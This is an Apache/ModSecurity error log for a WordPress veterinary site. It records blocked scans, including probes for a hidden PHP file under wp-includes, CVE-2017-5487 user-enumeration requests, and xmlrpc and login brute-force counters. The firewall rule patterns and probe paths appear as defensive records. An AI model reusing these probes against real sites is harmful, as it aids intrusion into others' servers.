[Mon Feb 09 21:12:12.301635 2026] [:error] [pid 60619:tid 60674] [client 45.92.1.94:55580] [client 45.92.1.94] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/widgets/txets.php"] [unique_id "aYndLHEpg0UoeR8kJ-1P9gAAAlg"]
[Mon Feb 09 21:12:12.812398 2026] [:error] [pid 60508:tid 60523] [client 45.92.1.94:55632] [client 45.92.1.94] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/rest-api/txets.php"] [unique_id "aYndLOXDvLC4ADfnEzPZFgAAAY0"]
[Mon Feb 09 21:12:13.319891 2026] [:error] [pid 60589:tid 60596] [client 45.92.1.94:55672] [client 45.92.1.94] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/post-template/txets.php"] [unique_id "aYndLTIJyhPWC0JyMLyZyQAAAcU"]
[Mon Feb 09 21:12:16.790870 2026] [:error] [pid 47937:tid 47954] [client 45.92.1.94:55972] [client 45.92.1.94] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/txets.php"] [unique_id "aYndMM4Fd42MP2DhNrX0tgAAAAg"]
[Mon Feb 09 21:25:16.853642 2026] [ssl:error] [pid 60677:tid 60773] [client 44.252.62.39:60232] AH02032: Hostname macfieldsvet.com.au provided via SNI and hostname vetstars.com.au provided via HTTP have no compatible SSL setup
[Mon Feb 09 22:18:51.933405 2026] [:error] [pid 60677:tid 60756] [client 34.75.43.247:49803] [client 34.75.43.247] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.75.43.247, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aYnsy1yBgzfmDf6GaesB2QAAAtI"]
[Mon Feb 09 22:18:55.060841 2026] [:error] [pid 60677:tid 60712] [client 34.75.43.247:49803] [client 34.75.43.247] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aYnsz1yBgzfmDf6GaesB4AAAAsE"]
[Mon Feb 09 22:18:57.399667 2026] [:error] [pid 60677:tid 60717] [client 34.75.43.247:49803] [client 34.75.43.247] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.75.43.247, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aYns0VyBgzfmDf6GaesB5AAAAsY"]
[Tue Feb 10 00:12:10.824584 2026] [:error] [pid 60619:tid 60665] [client 35.188.47.81:49419] [client 35.188.47.81] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.188.47.81, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aYoHWnEpg0UoeR8kJ-18bwAAAk8"]
[Tue Feb 10 00:12:13.834670 2026] [:error] [pid 60619:tid 60669] [client 35.188.47.81:49419] [client 35.188.47.81] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aYoHXXEpg0UoeR8kJ-18dQAAAlM"]
[Tue Feb 10 00:12:16.179418 2026] [:error] [pid 60619:tid 60670] [client 35.188.47.81:49419] [client 35.188.47.81] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.188.47.81, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aYoHYHEpg0UoeR8kJ-18eAAAAlQ"]
[Tue Feb 10 00:14:28.242432 2026] [:error] [pid 60619:tid 60645] [client 34.63.178.15:59647] [client 34.63.178.15] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.63.178.15, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aYoH5HEpg0UoeR8kJ-19OAAAAkQ"]
[Tue Feb 10 00:14:31.113151 2026] [:error] [pid 60619:tid 60640] [client 34.63.178.15:59647] [client 34.63.178.15] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aYoH53Epg0UoeR8kJ-19PAAAAkA"]
[Tue Feb 10 00:14:33.470232 2026] [:error] [pid 60619:tid 60655] [client 34.63.178.15:59647] [client 34.63.178.15] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.63.178.15, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aYoH6XEpg0UoeR8kJ-19PwAAAko"]
[Tue Feb 10 00:48:24.904058 2026] [:error] [pid 34044:tid 34048] [client 117.62.235.53:35230] [client 117.62.235.53] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aYoP2HKt48XODNt-cM9nJwAAAAA"]
[Tue Feb 10 01:40:27.623794 2026] [autoindex:error] [pid 34044:tid 34057] [client 167.86.83.231:50249] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Tue Feb 10 05:25:48.356364 2026] [:error] [pid 47830:tid 47863] [client 43.166.136.153:48676] [client 43.166.136.153] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aYpQ3Eco45BZs8e301AvfgAAABE"]
[Tue Feb 10 07:21:37.279973 2026] [:error] [pid 30054:tid 30077] [client 149.88.103.46:20232] [client 149.88.103.46] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 149.88.103.46, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aYpsAWecgOOXCu-GgYVaaQAAARU"]
[Tue Feb 10 07:21:42.390636 2026] [:error] [pid 47830:tid 47857] [client 149.88.103.46:62542] [client 149.88.103.46] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 149.88.103.46, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aYpsBkco45BZs8e301BeBwAAAAs"], referer: https://vetstars.com.au/wp-login.php?redirect_to=https%3A%2F%2Fvetstars.com.au%2Fwp-admin%2F&reauth=1
[Tue Feb 10 07:21:46.116380 2026] [:error] [pid 47830:tid 47870] [client 149.88.103.46:62542] [client 149.88.103.46] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 149.88.103.46, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aYpsCkco45BZs8e301BeIAAAABg"], referer: https://vetstars.com.au/wp-login.php?redirect_to=https%3A%2F%2Fvetstars.com.au%2Fwp-admin%2F&reauth=1
[Tue Feb 10 07:21:51.178857 2026] [:error] [pid 47830:tid 47854] [client 149.88.103.46:62542] [client 149.88.103.46] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 149.88.103.46, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aYpsD0co45BZs8e301BeKAAAAAg"], referer: https://vetstars.com.au/wp-login.php?redirect_to=https%3A%2F%2Fvetstars.com.au%2Fwp-admin%2F&action=confirm_admin_email&wp_lang=en_US
[Tue Feb 10 07:21:55.529423 2026] [autoindex:error] [pid 30054:tid 30071] [client 103.4.122.14:58170] AH01276: Cannot serve directory /home/vetstars/public_html/indexing-test/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Feb 10 08:15:49.695719 2026] [proxy_fcgi:error] [pid 30054:tid 30061] [client 169.150.218.23:41153] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query UPDATE `wp_options` SET `option_value` = 'O:8:\\"stdClass\\":5:{s:12:\\"last_checked\\";i:1770722142;s:8:\\"response\\";a:12:{s:16:\\"gotmls/index.php\\";O:8:\\"stdClass\\":14:{s:2:\\"id\\";s:20:\\"w.org/plugins/gotmls\\";s:4:\\"slug\\";s:6:\\"gotmls\\";s:6:\\"plugin\\";s:16:\\"gotmls/index.php\\";s:11:\\"new_version\\";s:7:\\"4.23.85\\";s:3:\\"url\\";s:37:\\"https://wordpress.org/plugins/gotmls/\\";s:7:\\"package\\";s:57:\\"https://downloads.wordpress.org/plugin/gotmls.4.23.85.zip\\";s:5:\\"icons\\";a:2:{s:2:\\"2x\\";s:59:\\"https://ps.w.org/gotmls/assets/icon-256x256.png?rev=1001824\\";s:2:\\"1x\\";s:59:\\"https://ps.w.org/gotmls/assets/icon-128x128.png?rev=1001824\\";}s:7:\\"banners\\";a:1:{s:2:\\"1x\\";s:61:\\"https://ps.w.org/gotmls/assets/banner-772x250.jpg?rev=1043954\\";}s:11:\\"banners_rtl\\";a:0:{}s:8:\\"requires\\";s:3:\\"3.3\\";s:6:\\"tested\\";s:5:\\"6.8.3\\";s:12:\\"requires_php\\";s:3:\\"5.6\\";s:16:\\"requires_plugins\\";a:0:{}s:14:\\"upgrade_noti...', referer: https://vetstars.com.au/wp-admin/themes.php?theme=twentytwentyfive
[Tue Feb 10 08:56:55.451876 2026] [:error] [pid 59407:tid 59410] [client 146.59.46.29:33896] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/24th%20slot.aspx"] [unique_id "aYqCV2LlhBXE3qmX-Jl4sgAAAUE"]
[Tue Feb 10 08:56:56.811306 2026] [:error] [pid 47837:tid 47917] [client 146.59.46.29:33882] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2xl%20slot.aspx"] [unique_id "aYqCWHFY8KYFPX79Z4kvAQAAAJE"]
[Tue Feb 10 08:56:58.101673 2026] [:error] [pid 59544:tid 59566] [client 146.59.46.29:59872] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2xl%20slot.aspx"] [unique_id "aYqCWqZySR9mFY4BailC8AAAAZA"]
[Tue Feb 10 08:56:58.167032 2026] [:error] [pid 59407:tid 59426] [client 146.59.46.29:43328] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/allslot%20wallet.aspx"] [unique_id "aYqCWmLlhBXE3qmX-Jl4vQAAAVE"]
[Tue Feb 10 08:56:58.294667 2026] [:error] [pid 47937:tid 47946] [client 146.59.46.29:43342] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/allslot%20wallet.aspx"] [unique_id "aYqCWspqXpC2CvJ3fOPi8wAAAMc"]
[Tue Feb 10 08:56:59.550851 2026] [:error] [pid 47937:tid 47947] [client 146.59.46.29:58092] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/allslot%20wallet.aspx"] [unique_id "aYqCW8pqXpC2CvJ3fOPi9QAAAMg"]
[Tue Feb 10 08:57:00.561462 2026] [:error] [pid 59407:tid 59417] [client 146.59.46.29:58108] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/allslot%20wallet.aspx"] [unique_id "aYqCXGLlhBXE3qmX-Jl4xgAAAUg"]
[Tue Feb 10 08:57:00.726304 2026] [:error] [pid 47937:tid 47944] [client 146.59.46.29:58118] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/amb%20superslot.aspx"] [unique_id "aYqCXMpqXpC2CvJ3fOPi-QAAAMU"]
[Tue Feb 10 08:57:00.901074 2026] [:error] [pid 30054:tid 30058] [client 146.59.46.29:58132] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/amb%20superslot.aspx"] [unique_id "aYqCXGecgOOXCu-GgYWTMwAAAQI"]
[Tue Feb 10 08:57:02.030739 2026] [:error] [pid 30054:tid 30062] [client 146.59.46.29:58144] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/amb%20superslot.aspx"] [unique_id "aYqCXmecgOOXCu-GgYWTNwAAAQY"]
[Tue Feb 10 08:57:03.441706 2026] [:error] [pid 30054:tid 30063] [client 146.59.46.29:58152] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/amb%20superslot.aspx"] [unique_id "aYqCX2ecgOOXCu-GgYWTQQAAAQc"]
[Tue Feb 10 08:57:03.499108 2026] [:error] [pid 47837:tid 47920] [client 146.59.46.29:58160] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "aYqCX3FY8KYFPX79Z4kvJAAAAJQ"]
[Tue Feb 10 08:57:03.519189 2026] [:error] [pid 59544:tid 59555] [client 146.59.46.29:58162] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "aYqCX6ZySR9mFY4BailDCgAAAYc"]
[Tue Feb 10 08:57:04.643842 2026] [:error] [pid 47830:tid 47847] [client 146.59.46.29:58174] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "aYqCYEco45BZs8e301CEPAAAAAE"]
[Tue Feb 10 08:57:05.984809 2026] [:error] [pid 47831:tid 47875] [client 146.59.46.29:58184] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/auto%20slot.aspx"] [unique_id "aYqCYSdxbZYarWVkiACc0AAAAEI"]
[Tue Feb 10 08:57:06.033674 2026] [:error] [pid 47937:tid 47942] [client 146.59.46.29:58192] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "aYqCYspqXpC2CvJ3fOPjAwAAAMM"]
[Tue Feb 10 08:57:06.125796 2026] [:error] [pid 47831:tid 47890] [client 146.59.46.29:58200] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/auto%20slot.aspx"] [unique_id "aYqCYidxbZYarWVkiACc0wAAAFE"]
[Tue Feb 10 08:57:07.366983 2026] [:error] [pid 47830:tid 47859] [client 146.59.46.29:58202] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/auto%20slot.aspx"] [unique_id "aYqCY0co45BZs8e301CEQAAAAA0"]
[Tue Feb 10 08:57:08.575841 2026] [:error] [pid 30054:tid 30073] [client 146.59.46.29:34244] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "aYqCZGecgOOXCu-GgYWTVAAAARE"]
[Tue Feb 10 08:57:08.612288 2026] [:error] [pid 47937:tid 47962] [client 146.59.46.29:34252] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "aYqCZMpqXpC2CvJ3fOPjBwAAANc"]
[Tue Feb 10 08:57:08.740024 2026] [:error] [pid 47831:tid 47879] [client 146.59.46.29:34264] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/auto%20slot.aspx"] [unique_id "aYqCZCdxbZYarWVkiACc1gAAAEY"]
[Tue Feb 10 08:57:10.072058 2026] [:error] [pid 59544:tid 59556] [client 146.59.46.29:34278] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "aYqCZqZySR9mFY4BailDJQAAAYg"]
[Tue Feb 10 08:57:11.141744 2026] [:error] [pid 47831:tid 47878] [client 146.59.46.29:34290] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20original.aspx"] [unique_id "aYqCZydxbZYarWVkiACc2gAAAEU"]
[Tue Feb 10 08:57:11.278109 2026] [:error] [pid 47837:tid 47903] [client 146.59.46.29:34306] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20original.aspx"] [unique_id "aYqCZ3FY8KYFPX79Z4kvUQAAAIM"]
[Tue Feb 10 08:57:11.403292 2026] [:error] [pid 47837:tid 47916] [client 146.59.46.29:34322] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "aYqCZ3FY8KYFPX79Z4kvVAAAAJA"]
[Tue Feb 10 08:57:12.569385 2026] [:error] [pid 47830:tid 47856] [client 146.59.46.29:34332] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20original.aspx"] [unique_id "aYqCaEco45BZs8e301CERQAAAAo"]
[Tue Feb 10 08:57:13.701711 2026] [:error] [pid 30054:tid 30076] [client 146.59.46.29:34336] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "aYqCaWecgOOXCu-GgYWTYQAAARQ"]
[Tue Feb 10 08:57:13.777016 2026] [:error] [pid 47831:tid 47884] [client 146.59.46.29:34338] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "aYqCaSdxbZYarWVkiACc3gAAAEs"]
[Tue Feb 10 08:57:14.258776 2026] [:error] [pid 47830:tid 47854] [client 146.59.46.29:34344] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20original.aspx"] [unique_id "aYqCakco45BZs8e301CERgAAAAg"]
